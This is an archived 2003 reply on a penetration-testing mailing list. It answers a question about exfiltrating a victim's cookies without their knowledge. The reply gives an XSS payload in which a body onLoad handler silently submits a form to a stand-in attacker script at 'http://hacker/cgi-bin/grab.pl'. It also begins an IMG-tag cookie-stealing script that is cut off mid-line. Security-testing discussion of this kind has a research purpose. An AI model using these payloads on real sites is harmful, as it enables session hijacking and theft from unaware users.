

RE: Proof of Concept Tool on Web Application Security

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2003-04/0063.html>

From: Nicolas Gregoire (ngregoire@exaprobe.com)

Date: 04/14/03

From: Nicolas Gregoire <ngregoire@exaprobe.com>

To: Indian Tiger <indiantiger@mailandnews.com>

Date: 14 Apr 2003 17:23:31 +0200

On Sun, 2003-04-13 at 09:33, Indian Tiger wrote:

- > *One way of transferring cookie information from the victim's machine to*
- > *attacker's machine is to create a hidden filed & then transfer cookie*
- > *information to that hidden field & then post (submit) this hidden field to web*
- > *site of attacker. But this require interaction of victim, as victim must click*
- > *on submit button to post this data to attacker's site, which is not a good*
- > *idea, the data should be transferred without knowledge of victim.*

I'm not sure I well understand your problem but you can :

- use Javascript to submit a form

```
<body onLoad=document.forms.upld.submit();>
<form method="post" name="upld" action="http://hacker/cgi-bin/grab.pl">
<input ....>
</form>
```

- transfer the cookie via a IMG tag and some Javascript

```

<script>
document.owned.src="
```

That's just some of the many ways to steal cookies.

Enjoy ...

--

Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
ngregoire@exaprobe.com -----[ExaProbe]----- <http://www.exaprobe.com/>
PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B44F

Costs are climbing and complaints are rising
as SPAM overloads your e-mail servers and Inboxes

SecurityFocus Penetration: RE: Proof of Concept Tool on Web Application Security

SurfControl E-mail Filter puts the brakes on spam & viruses
and gives you the reports to prove it.

<http://www.securityfocus.com/SurfControl-pen-test2>

Download a free trial and see just
what's going in and out of your organization.
